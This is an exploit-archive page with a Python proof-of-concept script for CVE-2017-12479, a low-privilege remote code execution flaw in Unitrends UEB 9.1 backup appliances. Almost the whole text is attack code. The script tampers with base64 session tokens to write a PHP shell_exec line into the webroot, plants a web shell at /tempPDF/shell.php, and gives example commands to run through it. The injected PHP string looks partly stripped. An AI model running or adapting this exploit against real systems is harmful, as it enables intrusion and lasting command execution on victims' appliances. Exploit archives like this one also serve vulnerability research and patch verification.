Unitrends UEB 9.1 - Privilege Escalation

Properties

Published:
09.10.2017
Target:
Unitrends UEB 9.1

Code

# Exploit Title: Authenticated lowpriv RCE for Unitrends UEB 9.1
# Date: 08/08/2017
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.unitrends.com/
# Software Link: https://www.unitrends.com/download/enterprise-backup-software
# Version: 9.1
# Tested on: CentOS6
# CVE: CVE-2017-12479
 
import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
from optparse import OptionParser
 
# Print some helpful words:
print """
###############################################################################
Authenticated lowpriv RCE for Unitrends UEB 9.1
Tested against appliance versions:
  [+] 9.1.0-2.201611302120.CentOS6
 
This exploit utilizes some issues in UEB9 session handling to place a 
php exec one liner in the webroot of the appliance.
 
Session tokens looks like this:
 
djA6NmM0ZWMzYTEtZmYwYi00MTIxLTk3YzYtMjQzODljM2EyNjY1OjE6L3Vzci9icC9sb2dzLmRpci9ndWlfcm9vdC5sb2c6MA==
 
and decodes to this:
                                                            LOG_LVL ----,
   v --- UUID ----------------------- v   v -- LOG_DIR -----------v     v
v0:6c4ec3a1-ff0b-4121-97c6-24389c3a2665:1:/usr/bp/logs.dir/gui_root.log:0 
 
The general steps that are followed by this poc are:
 
1. Authenticate as a low priv user and receive an auth token.
2. Modify the LOG_DIR field to point to a directory in the web root
   with apache user write access, and make a request to an arbitrary resource.
   This should touch a new file at the desired location.
3. Replace the UUID token in this auth token with a php shell_exec on liner, 
   and modify the LOG_LVL parameter to a value of 5, which will ensure
   that the UUID is reflected into the log file.
4. Issue a final request, to generate a shell.php file with a single shell_exec.
   This step is not strictly necessary.
###############################################################################
"""
 
# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
            ssl._create_default_https_context = ssl._create_unverified_context
 
# Parse command line args:
usage = "Usage: %prog -r  -u  -p \n"\
 
parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
          help="Target host w/ UNITRENDS UEB installation")
parser.add_option("-u", '--username', dest='username', action="store",
          help="User with any amount of privilege on unitrends device")
parser.add_option("-p", '--password', dest='password', action="store",
          help="password for this user")
 
(options, args) = parser.parse_args()
 
if not options.rhost:
  parser.error("[!] No remote host specified.\n")
 
elif options.rhost is None or options.username is None or options.password is None:
  parser.print_help()
  sys.exit(1)
 
RHOST = options.rhost
username = options.username
password = options.password
 
################################################################
# REQUEST ONE: GET A UUID.
################################################################
 
url1 = '/api/login'
 
a = {"username" : username,
     "password" : password}
 
post_body = json.dumps(a)
 
headers1 = {'Host' : RHOST}
 
print "[+] Attempting to log in to {0}, {1}:{2}".format(RHOST, username, password)
 
conn = httplib.HTTPSConnection(RHOST, 443)
conn.set_debuglevel(0)
conn.request("POST", url1, post_body, headers=headers1)
r1 = conn.getresponse()
 
################################################################
# BUILD THE AUTH TOKENS THAT WE'LL USE IN AN ATTACK.
################################################################
 
parsed_json = json.loads(r1.read())
 
if 'auth_token' not in parsed_json:
  print "[!] Didn't receive an auth token. Bad creds?"
  exit()
 
auth_encoded = parsed_json['auth_token']
auth_decoded = base64.b64decode(auth_encoded)
 
uuid = auth_decoded.split(':')[1]
ssid = auth_decoded.split(':')[2]
 
# We'll place our command shell in /var/www/html/tempPDF, since apache
# has rw in this dir.
 
log_dir = "/var/www/html/tempPDF/"
log_file = ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + '.php'
log_lvl = "5"
shell = " >"
 
auth_mod1 = "v0:{0}:{1}:{2}{3}:{4}".format(uuid, ssid, log_dir, log_file, log_lvl)
auth_mod2 = "v0:{0}:{1}:{2}{3}:{4}".format(shell, ssid, log_dir, log_file, log_lvl)
 
auth_mod1 = base64.b64encode(auth_mod1)
auth_mod2 = base64.b64encode(auth_mod2)
 
url2 = '/api/summary/current/'
 
################################################################
# REQUEST 2: PUT A FILE
################################################################
 
print "[+] Making a request to place log to http://{0}/tempPDF/{1}".format(RHOST, log_file)
 
headers2 = {'Host' : RHOST,
      'AuthToken' : auth_mod1}
 
# touch the file
conn.request("GET", url2, headers=headers2)
r2 = conn.getresponse()
 
print "[+] Making request to reflect shell_exec php to {0}.".format(log_file)
 
headers3 = {'Host' : RHOST,
      'AuthToken' : auth_mod2}
 
# make the first command
time.sleep(.5)
conn.request("GET", url2, headers=headers3)
conn.close()
 
# optional cleanup time
 
print "[+] Making a request to generate clean shell_exec at http://{0}/tempPDF/shell.php".format(RHOST)
 
url4 = '/tempPDF/' + log_file
url4 += '?cmd=echo+-e+""+>+shell.php'
 
conn1 = httplib.HTTPSConnection(RHOST, 443)
conn1.request("GET", url4, headers=headers2)
r3 = conn1.getresponse()
conn1.close()
 
 
url5 = "/tempPDF/shell.php"
print "[+] Checking for presence of http://{0}{1}".format(RHOST, url5)
headers3 = {'Host' : RHOST}
 
conn2 = httplib.HTTPSConnection(RHOST, 443)
conn2.request("GET", url5, headers=headers2)
r3 = conn2.getresponse()
 
if r3.status == 200:
  print "[+] Got a 200 back. We did it."
  print "[+] Example cmd: http://{0}{1}?cmd=id".format(RHOST, url5)
else:
  print "Got a {0} back. Maybe this didn't work.".format(r3.status)
  print "Try RCE here http://{0}/tempPDF/{1}?cmd=id".format(RHOST, log_file)
 
conn2.close()
 
# 3. Solution:
# Update to Unitrends UEB 10